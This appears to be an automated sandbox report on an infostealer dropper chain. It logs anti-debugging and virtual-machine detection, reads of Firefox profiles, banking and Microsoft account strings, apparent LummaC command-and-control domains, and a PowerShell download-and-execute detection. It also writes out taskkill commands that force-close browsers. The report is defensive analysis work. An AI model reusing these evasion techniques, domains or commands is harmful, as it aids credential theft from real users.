Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe TID: 2936	Thread sleep count: 112 > 30
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe TID: 2936	Thread sleep time: -672000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe TID: 7912	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0082DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	17_2_0082DBBE
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007FC2A2 FindFirstFileExW,	17_2_007FC2A2
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_008368EE FindFirstFileW,FindClose,	17_2_008368EE
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0083698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	17_2_0083698F
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0082D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_0082D076
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0082D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_0082D3A9
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00839642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_00839642
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0083979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0083979D
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00839B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	17_2_00839B2B
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00835C97 FindFirstFileW,FindNextFileW,FindClose,	17_2_00835C97

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_007C42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

17_2_007C42DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmp, 643ebf15b8.exe, 643ebf15b8.exe, 0000000F.00000002.3408234670.0000000000EA2000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015E2000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3398173438.0000000001635000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3319787378.0000000001635000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3355918791.0000000001635000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3563190463.0000025DFC3C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: firefox.exe, 00000021.00000002.3591525566.0000025DFEBB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AA7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.000000000156E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2178733424.00000000008AC000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2213500673.000000000060C000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2214434155.000000000060C000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmp, 643ebf15b8.exe, 0000000F.00000002.3408234670.0000000000EA2000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 48f66b117f.exe, 00000010.00000003.3272708536.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B20CB2 rdtsc

0_2_04B20CB2

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0083EAA2 BlockInput,

17_2_0083EAA2

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_007F2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

17_2_007F2622

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_007C42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

17_2_007C42DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0045652B mov eax, dword ptr fs:[00000030h]	11_2_0045652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0045A302 mov eax, dword ptr fs:[00000030h]	11_2_0045A302
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E4CE8 mov eax, dword ptr fs:[00000030h]	17_2_007E4CE8

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_00820B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

17_2_00820B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007F2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_007F2622
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_007E083F
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E09D5 SetUnhandledExceptionFilter,	17_2_007E09D5
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_007E0C21

Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 643ebf15b8.exe PID: 5412, type: MEMORYSTR

LummaC encrypted strings found

Source: 48f66b117f.exe, 0000000E.00000003.3028338340.00000000050B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 48f66b117f.exe, 0000000E.00000003.3028338340.00000000050B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 48f66b117f.exe, 0000000E.00000003.3028338340.00000000050B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: 48f66b117f.exe, 0000000E.00000003.3028338340.00000000050B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 48f66b117f.exe, 0000000E.00000003.3028338340.00000000050B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

17_2_00821201

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_00802BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

17_2_00802BA5

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0082B226 SendInput,keybd_event,

17_2_0082B226

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_008422DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

17_2_008422DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe "C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe "C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe "C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe "C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe "C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

17_2_00820B62

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_00821663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

17_2_00821663

Source: 9bf3542ba6.exe, 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: 9bf3542ba6.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 11_2_0043D3E2 cpuid

11_2_0043D3E2

Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe VolumeInformation	Jump to behavior
